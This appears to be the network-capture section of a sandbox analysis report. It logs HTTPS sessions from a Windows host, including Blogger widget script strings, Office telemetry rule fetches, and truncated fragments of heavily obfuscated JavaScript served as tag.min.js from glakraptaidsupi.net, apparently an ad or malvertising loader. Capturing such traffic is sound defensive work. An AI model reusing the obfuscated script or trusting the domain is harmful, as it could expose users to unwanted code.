2024-10-14 22:39:52 UTC	1378	IN	Data Raw: 3d 22 26 77 69 64 67 65 74 54 79 70 65 3d 22 2c 6e 64 3d 22 27 22 2c 6f 64 3d 22 28 22 2c 70 64 3d 22 28 5c 5c 64 2a 29 28 5c 5c 44 2a 29 22 2c 71 64 3d 22 28 5e 22 2c 72 64 3d 22 29 22 2c 73 64 3d 22 29 28 5b 61 2d 7a 5d 29 22 2c 74 64 3d 22 2a 22 2c 75 64 3d 22 2c 22 2c 76 64 3d 0a 22 2c 20 22 2c 77 64 3d 22 2d 31 30 30 30 30 70 78 22 2c 78 64 3d 22 2d 31 34 30 70 78 22 2c 79 64 3d 22 2d 32 32 35 70 78 22 2c 7a 64 3d 22 2d 68 22 2c 41 64 3d 22 2d 6d 6f 7a 22 2c 42 64 3d 22 2d 6d 73 22 2c 43 64 3d 22 2d 6f 22 2c 44 64 3d 22 2d 74 72 61 6e 73 66 6f 72 6d 22 2c 45 64 3d 22 2d 77 65 62 6b 69 74 22 2c 46 64 3d 22 2e 22 2c 47 64 3d 22 2e 30 31 22 2c 48 64 3d 22 2e 35 22 2c 49 64 3d 22 2e 63 6d 74 5f 63 6f 75 6e 74 5f 69 66 72 61 6d 65 5f 68 6f 6c 64 65 72 22 Data Ascii: ="&widgetType=",nd="'",od="(",pd="(\\d)(\\D)",qd="(^",rd=")",sd=")([a-z])",td="*",ud=",",vd=", ",wd="-10000px",xd="-140px",yd="-225px",zd="-h",Ad="-moz",Bd="-ms",Cd="-o",Dd="-transform",Ed="-webkit",Fd=".",Gd=".01",Hd=".5",Id=".cmt_count_iframe_holder"
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: 73 74 6f 6d 53 65 61 72 63 68 22 2c 53 65 3d 22 44 49 56 22 2c 54 65 3d 22 45 6d 61 69 6c 22 2c 55 65 3d 22 45 72 72 6f 72 20 6c 6f 61 64 69 6e 67 20 62 61 63 6b 6c 69 6e 6b 73 3a 20 22 2c 56 65 3d 22 45 72 72 6f 72 20 6c 6f 61 64 69 6e 67 20 66 65 65 64 2e 22 2c 57 65 3d 22 45 72 72 6f 72 20 77 68 69 6c 65 20 6c 6f 61 64 69 6e 67 20 73 63 72 69 70 74 20 22 2c 58 65 3d 22 45 76 65 6e 74 20 74 61 72 67 65 74 20 69 73 20 6e 6f 74 20 69 6e 69 74 69 61 6c 69 7a 65 64 2e 20 44 69 64 20 79 6f 75 20 63 61 6c 6c 20 74 68 65 20 73 75 70 65 72 63 6c 61 73 73 20 28 67 6f 6f 67 2e 65 76 65 6e 74 73 2e 45 76 65 6e 74 54 61 72 67 65 74 29 20 63 6f 6e 73 74 72 75 63 74 6f 72 3f 22 2c 0a 59 65 3d 22 45 78 70 65 63 74 65 64 20 66 75 6e 63 74 69 6f 6e 20 62 75 74 20 67 6f Data Ascii: stomSearch",Se="DIV",Te="Email",Ue="Error loading backlinks: ",Ve="Error loading feed.",We="Error while loading script ",Xe="Event target is not initialized. Did you call the superclass (goog.events.EventTarget) constructor?",Ye="Expected function but go
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: 67 3d 22 5c 5c 78 30 38 22 2c 70 67 3d 22 5d 22 2c 71 67 3d 22 5d 2b 22 2c 72 67 3d 22 5f 22 2c 73 67 3d 22 5f 4f 6e 57 69 64 67 65 74 43 6f 6e 66 69 67 75 72 65 64 22 2c 74 67 3d 22 5f 4f 6e 57 69 64 67 65 74 44 65 6c 65 74 65 64 22 2c 75 67 3d 22 5f 5f 67 6a 73 6c 6f 61 64 5f 5f 22 2c 76 67 3d 22 5f 62 6c 61 6e 6b 22 2c 77 67 3d 22 5f 63 61 6c 6c 62 61 63 6b 73 5f 2e 22 2c 78 67 3d 22 5f 69 64 5f 22 2c 79 67 3d 22 5f 73 65 6c 66 22 2c 7a 67 3d 22 61 22 2c 41 67 3d 22 61 62 6f 72 74 22 2c 42 67 3d 22 61 62 73 6f 6c 75 74 65 22 2c 43 67 3d 22 61 63 74 69 6f 6e 22 2c 44 67 3d 22 61 63 74 69 6f 6e 3d 22 2c 45 67 3d 22 61 64 64 6e 65 77 22 2c 46 67 3d 22 61 6c 70 68 61 28 6f 70 61 63 69 74 79 3d 31 29 22 2c 47 67 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 Data Ascii: g="\\x08",pg="]",qg="]+",rg="_",sg="_OnWidgetConfigured",tg="_OnWidgetDeleted",ug="__gjsload__",vg="_blank",wg="_callbacks_.",xg="_id_",yg="_self",zg="a",Ag="abort",Bg="absolute",Cg="action",Dg="action=",Eg="addnew",Fg="alpha(opacity=1)",Gg="application/x
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: 6d 2d 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 2d 77 69 74 68 2d 62 6f 72 64 65 72 22 2c 0a 4b 68 3d 22 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 6e 61 6d 65 22 2c 4c 68 3d 22 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 73 75 62 6d 69 74 22 2c 4d 68 3d 22 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 73 75 63 63 65 73 73 2d 6d 65 73 73 61 67 65 22 2c 4e 68 3d 22 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 73 75 63 63 65 73 73 2d 6d 65 73 73 61 67 65 2d 77 69 74 68 2d 62 6f 72 64 65 72 22 2c 4f 68 3d 22 63 6f 6e 74 65 6e 74 22 2c 50 68 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 2c 51 68 3d 22 63 73 65 5f 62 6c 6f 67 2e 78 6d 6c 22 2c 52 68 3d 22 63 73 65 5f 6c 69 6e 6b 73 2e 78 6d 6c 22 2c 53 68 3d 22 63 73 65 5f 77 65 62 2e 78 6d 6c 22 2c 54 68 3d 22 64 61 74 61 2d 22 2c 55 Data Ascii: m-error-message-with-border",Kh="contact-form-name",Lh="contact-form-submit",Mh="contact-form-success-message",Nh="contact-form-success-message-with-border",Oh="content",Ph="content-type",Qh="cse_blog.xml",Rh="cse_links.xml",Sh="cse_web.xml",Th="data-",U
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: 74 74 70 3a 2f 2f 22 2c 24 69 3d 22 68 74 74 70 3a 2f 2f 61 70 69 2e 66 6c 69 63 6b 72 2e 63 6f 6d 22 2c 61 6a 3d 22 68 74 74 70 3a 2f 2f 63 73 69 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 63 73 69 22 2c 62 6a 3d 22 68 74 74 70 3a 2f 2f 6d 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 73 68 61 72 65 72 2e 70 68 70 3f 75 3d 22 2c 63 6a 3d 22 68 74 74 70 3a 2f 2f 6d 6f 62 69 6c 65 2e 74 77 69 74 74 65 72 2e 63 6f 6d 2f 68 6f 6d 65 3f 73 74 61 74 75 73 3d 22 2c 64 6a 3d 22 68 74 74 70 3a 2f 2f 73 65 61 72 63 68 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 6d 72 73 73 2f 22 2c 0a 65 6a 3d 22 68 74 74 70 73 3a 22 2c 66 6a 3d 22 68 74 74 70 73 3a 2f 2f 63 73 69 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 63 73 69 22 2c 67 6a 3d 22 68 74 74 70 73 3a 2f 2f 70 6c 75 73 2e 67 6f 6f 67 6c Data Ascii: ttp://",$i="http://api.flickr.com",aj="http://csi.gstatic.com/csi",bj="http://m.facebook.com/sharer.php?u=",cj="http://mobile.twitter.com/home?status=",dj="http://search.yahoo.com/mrss/",ej="https:",fj="https://csi.gstatic.com/csi",gj="https://plus.googl
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: 6b 3d 22 70 6f 73 74 22 2c 6a 6b 3d 22 70 6f 73 74 2d 62 6f 64 79 22 2c 6b 6b 3d 22 70 6f 73 74 2d 63 6f 75 6e 74 22 2c 6c 6b 3d 22 70 6f 73 74 2d 63 6f 75 6e 74 2d 6c 69 6e 6b 22 2c 6d 6b 3d 22 70 6f 73 74 73 22 2c 6e 6b 3d 22 70 72 65 72 65 6e 64 65 72 22 2c 6f 6b 3d 22 70 72 6f 66 69 6c 65 22 2c 70 6b 3d 22 70 72 74 22 2c 71 6b 3d 22 70 78 22 2c 72 6b 3d 22 72 65 61 64 79 22 2c 73 6b 3d 22 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 22 2c 74 6b 3d 22 72 65 6c 61 74 69 76 65 22 2c 75 6b 3d 22 72 65 73 69 7a 65 22 2c 76 6b 3d 22 72 65 73 70 6f 6e 73 65 54 79 70 65 3d 6a 73 22 2c 77 6b 3d 22 72 67 62 22 2c 78 6b 3d 22 72 6f 74 61 74 65 28 2d 34 35 64 65 67 29 22 2c 79 6b 3d 22 72 74 6c 22 2c 7a 6b 3d 22 73 63 72 69 70 74 22 2c 41 6b 3d 22 73 63 72 6f Data Ascii: k="post",jk="post-body",kk="post-count",lk="post-count-link",mk="posts",nk="prerender",ok="profile",pk="prt",qk="px",rk="ready",sk="readystatechange",tk="relative",uk="resize",vk="responseType=js",wk="rgb",xk="rotate(-45deg)",yk="rtl",zk="script",Ak="scro
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: 6c 3d 22 77 69 6b 69 70 65 64 69 61 2d 73 65 61 72 63 68 2d 69 6e 70 75 74 22 2c 49 6c 3d 22 77 69 6b 69 70 65 64 69 61 2d 73 65 61 72 63 68 2d 6d 6f 72 65 22 2c 4a 6c 3d 22 77 69 6b 69 70 65 64 69 61 2d 73 65 61 72 63 68 2d 72 65 73 75 6c 74 73 22 2c 4b 6c 3d 22 77 69 6b 69 70 65 64 69 61 2d 73 65 61 72 63 68 2d 72 65 73 75 6c 74 73 2d 68 65 61 64 65 72 22 2c 4c 6c 3d 22 77 69 6e 64 6f 77 22 2c 4d 6c 3d 22 77 69 74 68 43 72 65 64 65 6e 74 69 61 6c 73 22 2c 4e 6c 3d 22 7a 69 70 70 79 22 2c 4f 6c 3d 22 7c 5b 22 2c 50 6c 3d 22 5c 75 30 30 61 30 2d 5c 75 30 30 61 30 22 3b 66 75 6e 63 74 69 6f 6e 20 51 6c 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 5b 61 5d 7d 7d 76 61 72 20 4f 3b 6b 5b 47 5d 26 26 6b 5b Data Ascii: l="wikipedia-search-input",Il="wikipedia-search-more",Jl="wikipedia-search-results",Kl="wikipedia-search-results-header",Ll="window",Ml="withCredentials",Nl="zippy",Ol="\|[",Pl="\u00a0-\u00a0";function Ql(a){return function(){return this[a]}}var O;k[G]&&k[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	49817	139.45.197.242	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:52 UTC	353	OUT	GET /tag.min.js HTTP/1.1 Host: glakraptaidsupi.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:52 UTC	970	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 14 Oct 2024 22:39:52 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 71223 Connection: close X-Trace-Id: 6e680184cd801efad25bb01cfc498523 Cache-Control: no-transform, no-store, no-cache, must-revalidate, max-age=0 Accept-Ranges: bytes Last-Modified: Mon, 14 Oct 2024 15:31:29 GMT Accept-Ch: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, baggage, sentry-trace, favicon Access-Control-Max-Age: 86400 Pragma: no-cache Expires: Tue, 11 Jan 1994 10:00:00 GMT Timing-Allow-Origin: * Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff Timing-Allow-Origin: *
2024-10-14 22:39:52 UTC	15414	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 7a 2c 72 4b 2c 4b 4b 2c 6a 4b 29 7b 28 28 29 3d 3e 7b 76 61 72 20 49 3d 7a 2e 5a 72 28 29 2c 59 6e 3d 7a 2e 45 62 5b 7a 2e 59 62 5d 28 7a 2e 65 29 5b 7a 2e 51 6a 5d 28 29 5b 7a 2e 69 72 5d 28 7a 2e 65 29 3b 74 79 70 65 6f 66 20 72 4b 3c 7a 2e 78 26 26 28 49 5b 7a 2e 76 72 5d 3d 72 4b 2c 74 79 70 65 6f 66 20 72 4b 5b 7a 2e 51 72 5d 3c 7a 2e 78 26 26 28 49 5b 7a 2e 56 6a 5d 3d 72 4b 5b 7a 2e 51 72 5d 29 29 3b 74 79 70 65 6f 66 20 4b 4b 3c 7a 2e 78 26 26 28 49 5b 7a 2e 4f 72 5d 3d 4b 4b 2c 49 5b 7a 2e 77 4b 5d 3d 4b 4b 5b 59 6e 5d 29 3b 74 79 70 65 6f 66 20 6a 4b 3c 7a 2e 78 26 26 28 49 5b 7a 2e 53 72 5d 3d 6a 4b 29 3b 66 75 6e 63 74 69 6f 6e 20 6c 72 28 29 7b 76 61 72 20 74 3d 49 5b 7a 2e 4f 72 5d 3b 74 72 79 7b 49 5b 7a 2e 4a Data Ascii: (function(z,rK,KK,jK){(()=>{var I=z.Zr(),Yn=z.Eb[z.Yb](z.e)[z.Qj]()[z.ir](z.e);typeof rK<z.x&&(I[z.vr]=rK,typeof rK[z.Qr]<z.x&&(I[z.Vj]=rK[z.Qr]));typeof KK<z.x&&(I[z.Or]=KK,I[z.wK]=KK[Yn]);typeof jK<z.x&&(I[z.Sr]=jK);function lr(){var t=I[z.Or];try{I[z.J
2024-10-14 22:39:52 UTC	16384	IN	Data Raw: 7d 63 61 74 63 68 28 6c 29 7b 67 28 7a 2e 63 59 29 7d 72 65 74 75 72 6e 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 50 74 28 74 2c 65 2c 72 2c 6e 29 7d 2c 41 6f 29 7d 76 61 72 20 51 72 3d 7a 2e 5a 72 28 7a 2e 6d 72 2c 7a 2e 4c 2c 7a 2e 6f 72 2c 7a 2e 54 72 2c 7a 2e 50 72 2c 7a 2e 76 2c 7a 2e 66 72 2c 7a 2e 78 4b 29 2c 42 6f 3d 7a 2e 54 72 2a 7a 2e 72 4b 2a 7a 2e 47 2c 7a 6f 3d 7a 2e 44 3b 66 75 6e 63 74 69 6f 6e 20 58 72 28 29 7b 76 61 72 20 74 3d 7a 2e 5a 72 28 29 3b 72 65 74 75 72 6e 20 45 72 72 6f 72 5b 7a 2e 57 4d 5d 28 74 2c 58 72 29 2c 74 5b 7a 2e 6f 6a 5d 7d 66 75 6e 63 74 69 6f 6e 20 24 6f 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 7a 2e 54 6a 2c 72 3d 74 5b 7a 2e 52 72 5d 3b 72 3b 29 65 3d 65 2a 7a 2e 63 4d 5e 74 5b 7a 2e Data Ascii: }catch(l){g(z.cY)}return setTimeout(function(){Pt(t,e,r,n)},Ao)}var Qr=z.Zr(z.mr,z.L,z.or,z.Tr,z.Pr,z.v,z.fr,z.xK),Bo=z.Trz.rKz.G,zo=z.D;function Xr(){var t=z.Zr();return Error[z.WM](t,Xr),t[z.oj]}function $o(t){for(var e=z.Tj,r=t[z.Rr];r;)e=e*z.cM^t[z.
2024-10-14 22:39:52 UTC	16384	IN	Data Raw: 7a 2e 6c 7d 2c 58 6f 3d 28 29 3d 3e 28 28 21 69 5b 7a 2e 76 72 5d 5b 7a 2e 67 6b 5d 7c 7c 69 5b 7a 2e 76 72 5d 5b 7a 2e 67 6b 5d 5b 7a 2e 43 6b 5d 28 7a 2e 6c 2c 7a 2e 54 72 29 21 3d 3d 7a 2e 48 45 29 26 26 28 69 5b 7a 2e 76 72 5d 5b 7a 2e 67 6b 5d 3d 7a 2e 48 45 5b 7a 2e 57 4b 5d 28 4d 61 74 68 5b 7a 2e 4e 4d 5d 28 29 5b 7a 2e 58 4d 5d 28 7a 2e 6e 45 29 5b 7a 2e 43 6b 5d 28 7a 2e 54 72 29 29 29 2c 69 5b 7a 2e 76 72 5d 5b 7a 2e 67 6b 5d 29 2c 77 6e 3d 74 3d 3e 7a 2e 65 5b 7a 2e 57 4b 5d 28 74 2c 7a 2e 4f 4b 29 5b 7a 2e 57 4b 5d 28 58 6f 28 29 29 2c 74 65 3d 74 3d 3e 48 74 3f 69 5b 7a 2e 76 72 5d 5b 7a 2e 67 72 5d 5b 77 6e 28 74 29 5d 3a 69 5b 7a 2e 76 72 5d 5b 7a 2e 77 72 5d 5b 74 5d 2c 72 65 3d 28 74 2c 65 29 3d 3e 7b 48 74 3f 69 5b 7a 2e 76 72 5d 5b 7a Data Ascii: z.l},Xo=()=>((!i[z.vr][z.gk]\|\|i[z.vr][z.gk][z.Ck](z.l,z.Tr)!==z.HE)&&(i[z.vr][z.gk]=z.HE[z.WK](Math[z.NM]()[z.XM](z.nE)[z.Ck](z.Tr))),i[z.vr][z.gk]),wn=t=>z.e[z.WK](t,z.OK)[z.WK](Xo()),te=t=>Ht?i[z.vr][z.gr][wn(t)]:i[z.vr][z.wr][t],re=(t,e)=>{Ht?i[z.vr][z
2024-10-14 22:39:52 UTC	16384	IN	Data Raw: 65 29 5b 7a 2e 65 72 5d 28 45 3d 3d 7a 2e 73 3f 76 6f 69 64 20 7a 2e 6c 3a 45 5b 7a 2e 72 6a 5d 29 26 26 28 45 3d 3d 7a 2e 73 3f 76 6f 69 64 20 7a 2e 6c 3a 45 5b 7a 2e 42 6b 5d 5b 7a 2e 51 6b 5d 29 3d 3d 3d 76 6f 69 64 20 7a 2e 6c 2c 6a 2c 70 74 2c 57 65 2c 6f 72 3b 7a 2e 65 21 3d 3d 7a 2e 65 26 26 28 61 72 3d 50 65 28 7a 2e 65 29 29 3b 69 5b 7a 2e 76 72 5d 5b 7a 2e 45 72 5d 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 6f 72 26 26 6f 72 28 74 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 77 69 28 74 2c 65 29 7b 6c 65 74 20 6e 3d 6e 65 77 20 44 61 74 65 28 29 5b 7a 2e 7a 4b 5d 28 29 2c 6f 3d 21 7a 2e 4c 2c 61 3d 7a 2e 6c 2c 73 3d 7a 2e 65 3b 45 26 26 28 73 3d 61 65 28 45 5b 7a 2e 72 6a 5d 29 29 3b 6c 65 74 20 64 3d 63 3d 3e 7b 63 5b 7a 2e 57 6a 5d 26 26 4f 62 6a 65 63 74 Data Ascii: e)[z.er](E==z.s?void z.l:E[z.rj])&&(E==z.s?void z.l:E[z.Bk][z.Qk])===void z.l,j,pt,We,or;z.e!==z.e&&(ar=Pe(z.e));i[z.vr][z.Er]=function(t){or&&or(t)};function wi(t,e){let n=new Date()[z.zK](),o=!z.L,a=z.l,s=z.e;E&&(s=ae(E[z.rj]));let d=c=>{c[z.Wj]&&Object
2024-10-14 22:39:52 UTC	6657	IN	Data Raw: 3a 27 64 71 79 61 68 71 45 6f 64 75 62 66 4d 72 66 71 64 58 61 6d 70 20 27 2c 4c 43 3a 33 36 65 35 2c 4e 43 3a 27 6f 74 71 6f 77 45 71 65 65 75 61 7a 4f 67 65 66 61 79 57 71 6b 27 2c 46 43 3a 27 4e 4d 4f 57 4f 58 4f 57 27 2c 71 43 3a 27 4f 41 58 58 51 4f 46 5f 55 59 42 44 51 45 45 55 41 5a 5f 46 44 55 51 45 27 2c 52 43 3a 27 66 75 79 71 58 61 6d 70 71 70 27 2c 6d 43 3a 27 75 65 42 64 71 72 71 66 6f 74 75 7a 73 27 2c 6f 43 3a 27 75 65 55 79 62 64 71 65 65 75 61 7a 4f 61 78 78 71 6f 66 71 70 27 2c 54 43 3a 27 72 75 64 65 66 42 64 71 72 71 66 6f 74 45 66 6d 64 66 27 2c 50 43 3a 27 72 75 64 65 66 42 64 71 72 71 66 6f 74 50 61 7a 71 27 2c 66 43 3a 27 70 75 65 6d 6e 78 71 70 4e 6b 45 71 64 68 71 64 44 71 6d 65 61 7a 65 27 2c 78 47 3a 27 71 6d 64 78 6b 2d 6f 78 Data Ascii: :'dqyahqEodubfMrfqdXamp ',LC:36e5,NC:'otqowEqeeuazOgefayWqk',FC:'NMOWOXOW',qC:'OAXXQOF_UYBDQEEUAZ_FDUQE',RC:'fuyqXampqp',mC:'ueBdqrqfotuzs',oC:'ueUybdqeeuazOaxxqofqp',TC:'rudefBdqrqfotEfmdf',PC:'rudefBdqrqfotPazq',fC:'puemnxqpNkEqdhqdDqmeaze',xG:'qmdxk-ox

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:52 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:52 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:52 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: c9e2a668-e01e-001f-5fd7-1a1633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223952Z-17db6f7c8cfqkqk8bn4ck6f72000000006v0000000004zvh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:52 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:52 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:52 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:52 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: bef1d05a-c01e-0034-2ea3-1b2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223952Z-17db6f7c8cfvtw4hh2496wp8p800000005gg0000000057v8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:52 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:52 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:52 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 05423beb-901e-0067-5347-1cb5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223952Z-17db6f7c8cf9c22xp43k2gbqvn00000004pg000000009bg2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:53 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:52 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:52 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 458f517b-301e-000c-2fe6-1a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223952Z-17db6f7c8cf96l6t7bwyfgbkhw000000063g000000004bzp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
